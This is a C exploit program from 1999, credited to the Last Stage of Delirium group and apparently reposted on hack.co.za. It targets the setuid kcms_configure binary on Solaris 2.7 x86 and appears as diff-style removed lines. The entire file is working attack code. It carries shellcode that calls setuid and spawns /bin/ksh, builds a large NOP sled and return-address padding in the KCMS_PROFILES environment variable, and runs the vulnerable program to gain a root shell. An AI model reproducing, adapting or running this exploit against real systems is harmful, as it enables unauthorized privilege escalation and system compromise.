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- /*## copyright LAST STAGE OF DELIRIUM dec 1999 poland *://lsd-pl.net/ #*/
- /*## kcsSUNWIOsolf.so #*/
-
- #define NOPNUM 16000
- #define ADRNUM 2900
-
- char setuidshellcode[]=
- "\x33\xc0" /* xorl %eax,%eax */
- "\xeb\x08" /* jmp <setuidshellcode+12> */
- "\x5f" /* popl %edi */
- "\x47" /* incl %edi */
- "\xab" /* stosl %eax,%es:(%edi) */
- "\x88\x47\x01" /* movb %al,0x1(%edi) */
- "\xeb\x0d" /* jmp <setuidshellcode+25> */
- "\xe8\xf3\xff\xff\xff" /* call <setuidshellcode+4> */
- "\x9a\xff\xff\xff\xff"
- "\x07\xff"
- "\xc3" /* ret */
- "\x33\xc0" /* xorl %eax,%eax */
- "\x50" /* pushl %eax */
- "\xb0\x17" /* movb $0x17,%al */
- "\xe8\xee\xff\xff\xff" /* call <setuidshellcode+17> */
- "\xeb\x16" /* jmp <setuidshellcode+59> */
- "\x33\xd2" /* xorl %edx,%edx */
- "\x58" /* popl %eax */
- "\x8d\x78\x14" /* leal 0x14(%eax),edi */
- "\x52" /* pushl %edx */
- "\x57" /* pushl %edi */
- "\x50" /* pushl %eax */
- "\xab" /* stosl %eax,%es:(%edi) */
- "\x92" /* xchgl %eax,%edx */
- "\xab" /* stosl %eax,%es:(%edi) */
- "\x88\x42\x08" /* movb %al,0x7(%edx) */
- "\xb0\x3b" /* movb $0x3b,%al */
- "\xe8\xd6\xff\xff\xff" /* call <setuidshellcode+17> */
- "\xe8\xe5\xff\xff\xff" /* call <setuidshellcode+37> */
- "/bin/ksh"
- ;
-
- char jump[]=
- "\x8b\xc4" /* movl %esp,%eax */
- "\xc3" /* ret */
- ;
-
- main(int argc,char **argv){
- char buffer[20000],*b,adr[4],*envp[4],display[128];
- int i;
-
- printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/\n");
- printf("kcsSUNWIOsolf.so for solaris 2.7 (2.6,2.8 ?) x86\n\n");
-
- if(argc!=2){
- printf("usage: %s xserver:display\n",argv[0]);
- exit(-1);
- }
-
- *((unsigned int*)adr)=((*(unsigned int(*)())jump)())+2300+8000;
-
- sprintf(display,"DISPLAY=%s",argv[1]);
- envp[0]=&buffer[0];
- envp[1]=&buffer[17000];
- envp[2]=display;
- envp[3]=0;
-
- b=buffer;
- sprintf(b,"xxx=");
- b+=4;
- for(i=0;i<NOPNUM;i++) *b++=0x90;
- for(i=0;i<strlen(setuidshellcode);i++) *b++=setuidshellcode[i];
- *b=0;
-
- b=&buffer[17000];
- sprintf(b,"KCMS_PROFILES=");
- b+=14;
- for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
- *b=0;
-
- execle("/usr/openwin/bin/kcms_configure","lsd","-o","lsd",0,envp);
- }
- /* www.hack.co.za [15 April 2001]*/